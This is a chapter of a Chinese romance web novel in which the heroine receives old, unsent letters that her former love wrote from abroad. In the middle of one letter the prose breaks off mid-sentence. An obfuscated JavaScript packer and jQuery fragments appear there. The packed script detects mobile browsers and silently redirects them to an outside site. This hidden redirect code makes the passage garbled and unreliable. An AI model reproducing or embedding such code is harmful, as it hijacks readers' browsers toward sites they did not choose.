十二月徐清旖去了一趟厦门，11号在这里举办了一场漆画拍卖会，她觉得沈翌肯定会喜欢。


    这几个月来他们几乎没有联系，徐清旖偶尔写文案的时候想起他，恍惚间还以为自己仍在黎江市的写字楼，而沈翌还会在楼下等她下班。


    母亲有时候打电话来说，李安每个月仍然会往家里送各种东西，等到父亲将它们全部扔进小区楼下的垃圾堆，下个月又会换了新的送过来。


    中国那么大，他们再没见过面。


    快到圣诞节的时候，林知一给她打电话。


    “是呀，没想到现在会怀上。”


    “祝贺你啊，知一。”


    徐清旖由衷地感到幸福，肖珩和林知一在一起这么多年，竟然现在忽然有了自己的孩子。


    “我们想请朋友们一起吃个饭，虽然医生不建议我们要这个孩子，但先和大家分享喜悦吧。”


    “肖总怎么说？”


    虽然已经从公司离职好几年，徐清旖仍然习惯着这个称呼。


    “他很担心我，让我听医生的话。”


    林知一摸了摸自己的肚子，仿佛是释然一般笑了笑，“好啦，我就问问你下周末有没有时间，沈翌现在在哪里？”


    “我当然有时间啊。”徐清旖说：“他去了加拿大。”


    “加拿大？他去出差吗？”


    “读书。”


    “真厉害啊。”林知一说：“清旖，我还记得我第一次见他的样子，那时候你搬来和我一起住，沈翌帮你收拾东西。我问他在哪里读的大学，你说他是南大毕业的。”


    徐清旖沉默着没说话，她听见林知一仍然在回忆。


    “后来我看出来你喜欢他，于是我鼓励你去告白。那一年你去了纽约，回来之后颓废了很长一段时间。”


    “再和他见面是在医院，他应该熬了很久，和我印象中他的任何一个样子都不一样。”


    林知一说：“我告诉他你去了纽约的事，那时候我看他的反应就觉得他不像是在骗人，可是他一句话也没有和我解释。”


    徐清旖捏着电话，很缓慢地开口：“不是的，都是我……”


    “清旖，你去找回他吧，前半生你们都太苦了，总不能一直这样下去吧。”


    没过多久，徐清旖接到了一个意想不到的人的电话。


    “想找你可真不容易。”电话那头的人语气不明地说：“我叫孟晨。”


    “你好。”徐清旖记起他是谁。


    “沈翌去加拿大留学，你知道吗？”


    “知道。”


    “那你们还有可能吗？”


    徐清旖皱了皱眉，她记忆中的孟晨向来不待见自己。


    还没等问出口，对面就已经继续道：“这是我第一次，也是最后一次问你，你和他是不是没可能？”


    徐清旖半天说不出一个字。


    孟晨说话很快，“有个东西那一年他准备扔掉，我偷偷留下来了，我会把它寄给你。”


    “最后一次。”他说。


    又过了四五天，徐清旖在邮局拿到孟晨寄来的邮件。


    一个档案袋，包裹很严实。


    徐清旖回到家，独自坐在沙发上拆开，里面是几封连邮戳都没有的信件。


    -


    清旖：


    展信佳。


    在旧金山的第一个夜晚，无法控制地想要写些什么来表达我的心情。


    我从出生起就待在南城，高中时坐火车去北京参加数学竞赛，大学毕业后去了黎江，临走之际和你一起去了一次拉萨。


    旧金山是我出国后第一个落脚的城市。


    我们的老师叫作史密斯，是美籍华人，据说中文名姓王。我问他这里能不能寄信出去，他说很困难，至少要过两个月。所以我多给你写一些，等到可以寄信的时候，再选择最好的那一封。


    我们宿舍的人都很好，我不擅长和他们交往，但他们很照顾我。


    写下这封信的前不久，那位叫作白思园的小孩还在念叨着想家。他是东北人，所说的那些菜我都没听说过，如果有机会一起去哈尔滨，我们可以去尝一尝。


    培训的时间应该不会太久，你要等……


    -


    清旖：


    展信佳。


    今天参与一个颁奖仪式，竟然碰到了JimLarkin，他还和我问起了你。


    晚饭是我们在一起吃的，我先到了一会儿，餐厅旁就是查尔斯河。


    想起来以前在万师傅的相机店的时候，如果碰上没客人的日子，我坐在店里发呆，一回头就能看见黎江。


    说起来还有些恍惚。


    他又聊到我，说你曾经给他说我很热爱数学。


    清旖，其实我从未告诉过你，当年我之所以喜欢数学，或许有很大一部分原因是我对此有天赋。


    我很愧对你所说的热爱。


    我学数学算是简单，所以攻破难题的时候一环扣一环才会感到酣畅淋漓。


    下午在哈佛，听见各位前辈们对于数字的理解，甚至是听见我的队友Joseph作报告的时候，我都觉得自惭形秽。


    我想真正的热爱是不求回报的。


    而我选择了另一个专业、另一个职业，其实是在为了生活和金钱忙碌奔波。


    我是一个如此庸俗的人。


    沈翌


    -


    清旖：


    展信佳。


    遇见一个人很像你，她也喜欢穿长裙。


    第一眼见到她的时候，我想起来那年同学聚会，你也穿的是这样一条差不多的裙子，头发绾起来很漂亮。


    于是我无法抑制地开始想象，假如你来美国旅行，我会带你去哪些地方。


    我一定也会陪你去逛宜家吧？之子于归，宜室宜家。


    多少是带着点私心的。


    西海岸的宜家旁边有一家披萨店，据说那里的面包很难吃，但是意面应该不错，孟晨每一次路过都不会错过。


    孟晨是我在这里最好的朋友，如果有机会，我会介绍你们认识。


    明天要去一趟大学实验室，早睡。


    沈翌


    -


    清旖：


    展信佳。


    不知这封信到你手里的时候会是什么季节，伦敦刚下过一场大雪，隔壁的库珀去世了。


    这几年他与我关系甚好，装好假肢以后偶尔他也会一个人出行。


    那一天实在是过了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389925|184237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太久没有他的消息了，我从门口的地毯下勾出他的钥匙，才发现他已经一个人悄悄离开很久了。


    他是一个很有趣的老头，楼上喜欢出门看画展的奶奶和我聊天，说我这个屋子的上一任租户搬走，多少其实都是因为库珀。


    他喜欢讲自己的故事，讲自己当年在西雅图经历过一次雷电、两次车祸，还遇见过龙卷风。听起来不着边际的故事，我愿意听他讲，因为我知道他太孤独了。


    房东太太也曾经和我说过很多次可以不用理他，可我觉得这是一件善事，至少我让他在生命的最后阶段有了勇气，安装了假肢，还去看了更远的世界。


    他的后事是我负责的，他没什么亲人朋友，我和孟晨，还有几个认识他的同事，就是他在这个世界上活过的唯一证明了。


    看到他我就会想起来爷爷，每一次和他打电话他都告诉我自己很好，真的好吗？我不知道。


    我常常会想自己究竟是为了什么而活着，真正支撑我走到这里的又是什么。


    如果有一天我坚持不下去了，那时候我孑然一身，是不是也会像库珀这样？


    除了你，除了孟晨，除了万师傅，再没有人能够证明我活过了。


    沈翌于伦敦家中


    -


    清旖：


    我很想你。


    -


    清旖：


    展信佳。


    又是年底了。


    我向公司休了年假，从伦敦到哥本哈根，一路走过了斯塔万格和赫尔辛基。


    现在我躲在雷克雅未克的一家旅店里，灯光昏暗，想着是否要写些什么。


    今天在从机场出来的大巴上，我恍惚间想起来很多年前你说过想要看一场大雪，这么多年竟然不知道这个愿望有没有实现。


    司机说着我听不懂的语言，我只能用英语和他应付，等我想起来自己还在旅行的时候，却已经到了伸手不见五指的黑夜。


    这辆大巴上除了我就只剩下另一名黑人了，异国他乡，这是我被调来英国之后第一次感受到恐惧。


    但等到天边的极光慢慢蔓延开来的时候，那一瞬间我竟然又觉得算了，管他是因为什么被困在这里呢。


    不知道是幸运还是不幸，老板那堆我听不懂的语言原来只是在咒骂雪下得太大。


    那位黑人睡醒以后充当了我的临时翻译，我们三人还合作给车子换了防滑链。


    一直到深夜才真正抵达我居住的地方，邻居也是来旅行的人，他们正在烤鱼吃。听见声音便招呼着我一起，我拒绝了。


    等到把行李收拾好，窗外的雪下得更大了。


    在美国时听同事说雪大的时候要扫雪，我在伦敦一直住的是公寓，想起来还有些新鲜。


    于是我像个笨蛋一样，在凌晨拿着扫帚去扫台阶上的雪，扫不尽，累了想摸烟才想起来冰岛禁烟。


    扭头扔了扫帚转回房间准备睡觉。


    好吧，到最后了，我其实只是想说：北欧的景色很漂亮，可是这么多年我也看腻了。


    一望无际的白，单薄又没有生命力，实在让人活跃不起来。


    很没有意思。


    但如果你在就好了。


    沈翌于冰岛、雪夜